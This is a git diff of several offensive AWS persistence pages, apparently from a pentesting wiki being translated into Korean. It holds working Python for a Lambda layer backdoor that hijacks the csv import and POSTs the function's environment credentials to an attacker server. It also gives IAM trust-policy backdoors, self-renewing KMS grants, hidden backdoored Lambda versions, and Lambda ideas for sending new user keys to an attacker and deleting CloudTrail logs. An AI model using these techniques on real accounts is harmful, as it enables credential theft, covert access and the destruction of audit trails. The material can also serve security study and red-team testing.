ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,50 +4,44 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
### 일반적인 IAM 지속성
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
- 사용자 생성
|
||||
- 제어된 사용자를 권한이 있는 그룹에 추가
|
||||
- 액세스 키 생성 (새 사용자 또는 모든 사용자)
|
||||
- 제어된 사용자/그룹에 추가 권한 부여 (첨부된 정책 또는 인라인 정책)
|
||||
- MFA 비활성화 / 자신의 MFA 장치 추가
|
||||
- 역할 체인 저글링 상황 생성 (아래 STS 지속성에서 더 자세히 설명)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
### 백도어 역할 신뢰 정책
|
||||
|
||||
신뢰 정책에 백도어를 추가하여 외부 리소스를 당신이 제어할 수 있도록 가정할 수 있습니다 (또는 모든 사용자에게):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 백도어 정책 버전
|
||||
|
||||
### Backdoor Policy Version
|
||||
마지막 버전이 아닌 정책에 관리자 권한을 부여한 다음, 해당 버전의 정책을 제어된 사용자/그룹에 할당합니다.
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
### 백도어 / 아이덴티티 제공자 생성
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
계정이 이미 일반 아이덴티티 제공자(예: Github)를 신뢰하고 있는 경우, 신뢰 조건을 증가시켜 공격자가 이를 악용할 수 있도록 할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
### KMS 정책을 통한 접근 권한 부여
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 제어 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요.
|
||||
|
||||
### Eternal Grant
|
||||
### 영구 권한 부여
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
권한 부여는 특정 키에 대해 주체에게 일부 권한을 부여하는 또 다른 방법입니다. 사용자가 권한을 생성할 수 있도록 허용하는 권한을 부여할 수 있습니다. 또한, 사용자는 동일한 키에 대해 여러 개의 권한(심지어 동일한 권한)을 가질 수 있습니다.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
따라서 사용자는 모든 권한을 가진 10개의 권한을 가질 수 있습니다. 공격자는 이를 지속적으로 모니터링해야 합니다. 그리고 어느 시점에서 1개의 권한이 제거되면 다른 10개의 권한이 생성되어야 합니다.
|
||||
|
||||
(우리는 사용자가 여전히 일부 권한을 가지고 있는 동안 권한이 제거되었음을 감지할 수 있도록 10을 사용하고 있습니다.)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
> 권한 부여는 다음에서만 권한을 부여할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+21
-25
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
람다가 은밀하게 실행될 때 **임의의 코드를 실행하기 위해 레이어를 도입/백도어**하는 것이 가능합니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Lambda Layers를 악용하여 확장을 악용하고 람다에 지속적으로 존재할 수 있으며 요청을 훔치고 수정할 수도 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
외부 계정에 대해 다양한 람다 작업(예: 호출 또는 코드 업데이트)에 대한 액세스를 부여할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
람다는 **다양한 버전**(각 버전마다 다른 코드)을 가질 수 있습니다.\
|
||||
그런 다음, **다양한 버전의 람다에 대해 다양한 별칭을 생성**하고 각 별칭에 대해 다른 가중치를 설정할 수 있습니다.\
|
||||
이렇게 하면 공격자는 **백도어가 있는 버전 1**과 **정상 코드만 있는 버전 2**를 생성하고 **1%의 요청에서만 버전 1을 실행**하여 은밀함을 유지할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
1. Lambda의 원본 코드를 복사합니다.
|
||||
2. 원본 코드를 **백도어하는 새로운 버전을 생성**합니다(또는 악성 코드만 포함). 해당 버전을 게시하고 **$LATEST에 배포**합니다.
|
||||
1. 람다와 관련된 API 게이트웨이를 호출하여 코드를 실행합니다.
|
||||
3. **원본 코드로 새로운 버전을 생성**, 게시하고 해당 **버전을 $LATEST에 배포**합니다.
|
||||
1. 이렇게 하면 이전 버전에서 백도어 코드가 숨겨집니다.
|
||||
4. API Gateway로 이동하여 **새 POST 메서드**(또는 다른 메서드 선택)를 생성하여 람다의 백도어 버전을 실행합니다: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. 최종 :1의 arn은 **함수의 버전을 나타냅니다**(이 시나리오에서 버전 1은 백도어가 있는 것입니다).
|
||||
5. 생성된 POST 메서드를 선택하고 작업에서 **`API 배포`**를 선택합니다.
|
||||
6. 이제 **POST를 통해 함수를 호출하면 백도어가 호출됩니다**.
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
무언가가 발생하거나 시간이 경과할 때 **람다 함수를 실행할 수 있다는 사실**은 람다를 지속성을 얻고 탐지를 피하는 좋은 일반적인 방법으로 만듭니다.\
|
||||
여기 AWS에서 **은밀하게 존재하기 위해 람다를 생성하는 몇 가지 아이디어가 있습니다**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- 새로운 사용자가 생성될 때마다 람다가 새로운 사용자 키를 생성하고 공격자에게 보냅니다.
|
||||
- 새로운 역할이 생성될 때마다 람다가 손상된 사용자에게 역할 수임 권한을 부여합니다.
|
||||
- 새로운 클라우드트레일 로그가 생성될 때마다 이를 삭제/변경합니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+16
-20
@@ -1,46 +1,42 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
# AWS - Lambda 확장 악용
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Extensions
|
||||
## Lambda 확장
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Lambda 확장은 다양한 **모니터링, 가시성, 보안 및 거버넌스 도구**와 통합하여 기능을 향상시킵니다. 이러한 확장은 [.zip 아카이브를 사용한 Lambda 레이어](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 또는 [컨테이너 이미지 배포에 포함](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)되어 두 가지 모드에서 작동합니다: **내부** 및 **외부**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **내부 확장**은 런타임 프로세스와 통합되어 **언어별 환경 변수** 및 **래퍼 스크립트**를 사용하여 시작을 조작합니다. 이 사용자 정의는 **Java Correto 8 및 11, Node.js 10 및 12, .NET Core 3.1**을 포함한 다양한 런타임에 적용됩니다.
|
||||
- **외부 확장**은 별도의 프로세스로 실행되며, Lambda 함수의 생명 주기와 운영 정렬을 유지합니다. 이들은 **Node.js 10 및 12, Python 3.7 및 3.8, Ruby 2.5 및 2.7, Java Corretto 8 및 11, .NET Core 3.1** 및 **사용자 정의 런타임**과 호환됩니다.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
[**Lambda 확장이 작동하는 방식에 대한 자세한 정보는 문서를 확인하세요**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### 지속성, 요청 도용 및 요청 수정용 외부 확장
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
이 게시물에서 제안된 기술의 요약입니다: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Lambda 런타임 환경의 기본 Linux 커널이 “**process_vm_readv**” 및 “**process_vm_writev**” 시스템 호출로 컴파일되어 있다는 것이 발견되었습니다. 그리고 모든 프로세스는 동일한 사용자 ID로 실행되며, 외부 확장을 위해 생성된 새로운 프로세스도 마찬가지입니다. **이는 외부 확장이 설계상 Rapid의 힙 메모리에 대한 전체 읽기 및 쓰기 접근 권한을 갖는다는 것을 의미합니다.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
게다가, Lambda 확장은 **호출 이벤트에 구독할 수 있는 능력**이 있지만, AWS는 이러한 확장에 원시 데이터를 공개하지 않습니다. 이는 **확장이 HTTP 요청을 통해 전송된 민감한 정보에 접근할 수 없도록 보장합니다.**
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Init (Rapid) 프로세스는 [http://127.0.0.1:9001](http://127.0.0.1:9001/)에서 모든 API 요청을 모니터링하며, Lambda 확장은 초기화되고 모든 런타임 코드 실행 전에 실행되지만 Rapid 이후에 실행됩니다.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
변수 **`AWS_LAMBDA_RUNTIME_API`**는 **자식 런타임 프로세스** 및 추가 확장에 대한 Rapid API의 **IP** 주소와 **포트** 번호를 나타냅니다.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> **`AWS_LAMBDA_RUNTIME_API`** 환경 변수를 우리가 접근할 수 있는 **`port`**로 변경하면 Lambda 런타임 내의 모든 작업을 가로챌 수 있습니다 (**중간자 공격**). 이는 확장이 Rapid Init과 동일한 권한으로 실행되며, 시스템의 커널이 **프로세스 메모리 수정**을 허용하여 포트 번호를 변경할 수 있기 때문에 가능합니다.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
**확장이 모든 런타임 코드 이전에 실행되기 때문에**, 환경 변수를 수정하면 런타임 프로세스(예: Python, Java, Node, Ruby)가 시작될 때 영향을 미칩니다. 또한, 이 변수에 의존하는 **우리 이후에 로드된 확장**도 우리의 확장을 통해 라우팅됩니다. 이 설정은 악성 소프트웨어가 보안 조치나 로깅 확장을 런타임 환경 내에서 완전히 우회할 수 있게 할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
도구 [**lambda-spy**](https://github.com/clearvector/lambda-spy)는 **메모리 쓰기**를 수행하고 Lambda 요청, 다른 **확장** **요청**에서 민감한 정보를 **도용**하고 **수정**하기 위해 만들어졌습니다.
|
||||
|
||||
## References
|
||||
## 참고 문헌
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+34
-48
@@ -4,28 +4,26 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
|
||||
Lambda 레이어는 **추가 코드를 포함할 수 있는** .zip 파일 아카이브입니다. 레이어는 라이브러리, [사용자 정의 런타임](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), 데이터 또는 구성 파일을 포함할 수 있습니다.
|
||||
|
||||
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
|
||||
**함수당 최대 다섯 개의 레이어**를 포함할 수 있습니다. 함수에 레이어를 포함하면 **내용이 실행 환경의 `/opt`** 디렉토리에 추출됩니다.
|
||||
|
||||
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
|
||||
**기본적으로**, 생성한 **레이어**는 **귀하의 AWS 계정에만 비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**할 수 있습니다. 귀하의 함수가 다른 계정에서 게시한 레이어를 사용하는 경우, 레이어가 삭제되거나 레이어에 대한 접근 권한이 취소된 후에도 **함수는 레이어 버전을 계속 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다.
|
||||
|
||||
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
|
||||
컨테이너 이미지로 배포된 함수는 레이어를 사용하지 않습니다. 대신, 이미지를 빌드할 때 선호하는 런타임, 라이브러리 및 기타 종속성을 컨테이너 이미지에 패키징합니다.
|
||||
|
||||
### Python load path
|
||||
|
||||
The load path that Python will use in lambda is the following:
|
||||
|
||||
Python이 lambda에서 사용할 load path는 다음과 같습니다:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
|
||||
Therefore, the requisites are:
|
||||
따라서 요구 사항은 다음과 같습니다:
|
||||
|
||||
- **Check libraries** that are **loaded** by the victims code
|
||||
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
@@ -37,46 +35,41 @@ Therefore, the requisites are:
|
||||
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
|
||||
```python
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
|
||||
And this is the **list** (check that libraries like `os` or `json` are already there)
|
||||
|
||||
그리고 이것은 **목록**입니다 (라이브러리 `os` 또는 `json`이 이미 있는지 확인하십시오)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
그리고 이것은 **람다에서 기본적으로 설치된 라이브러리** 목록입니다: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
### 람다 레이어 백도어
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
이 예제에서는 타겟 코드가 **`csv`**를 임포트한다고 가정해 보겠습니다. 우리는 **`csv` 라이브러리의 임포트를 백도어**할 것입니다.
|
||||
|
||||
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
이를 위해, 우리는 **`/opt/python/lib/python3.9/site-packages`** 경로에 **`__init__.py`** 파일이 있는 **csv** 디렉토리를 **생성**할 것입니다.\
|
||||
그런 다음, 람다가 실행되고 **csv**를 로드하려고 할 때, 우리의 **`__init__.py` 파일이 로드되고 실행될 것입니다**.\
|
||||
이 파일은 다음을 수행해야 합니다:
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
|
||||
- Execute our payload
|
||||
- Load the original csv library
|
||||
|
||||
We can do both with:
|
||||
- 우리의 페이로드를 실행
|
||||
- 원래의 csv 라이브러리 로드
|
||||
|
||||
우리는 다음을 통해 두 가지를 모두 수행할 수 있습니다:
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
|
||||
with open("/proc/self/environ", "rb") as file:
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
|
||||
# Remove backdoor directory from path to load original library
|
||||
del_path_dir = "/".join(__file__.split("/")[:-2])
|
||||
@@ -90,29 +83,27 @@ import csv as _csv
|
||||
|
||||
sys.modules["csv"] = _csv
|
||||
```
|
||||
그런 다음, 이 코드를 **`python/lib/python3.9/site-packages/__init__.py`** 경로에 포함하여 zip 파일을 만들고 이를 lambda layer로 추가합니다.
|
||||
|
||||
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
|
||||
이 코드는 [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)에서 찾을 수 있습니다.
|
||||
|
||||
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
|
||||
통합된 페이로드는 **첫 번째 호출 시 또는 lambda 컨테이너가 재설정된 후 IAM 자격 증명을 서버로 전송합니다** (코드 변경 또는 콜드 람다), 그러나 **다음과 같은 다른 기술**도 통합될 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### External Layers
|
||||
### 외부 레이어
|
||||
|
||||
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
|
||||
Also note that the **max number of layers a lambda can have is 5**.
|
||||
**외부 계정의 lambda layers를 사용할 수 있다는 점에 유의하십시오.** 또한, lambda는 권한이 없더라도 외부 계정의 레이어를 사용할 수 있습니다.\
|
||||
또한 **lambda가 가질 수 있는 최대 레이어 수는 5개**입니다.
|
||||
|
||||
Therefore, in order to improve the versatility of this technique an attacker could:
|
||||
|
||||
- Backdoor an existing layer of the user (nothing is external)
|
||||
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
|
||||
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
|
||||
- The victim **won't see external layers** used with **`aws lambda list-layers`**
|
||||
따라서 이 기술의 다재다능성을 향상시키기 위해 공격자는 다음과 같은 방법을 사용할 수 있습니다:
|
||||
|
||||
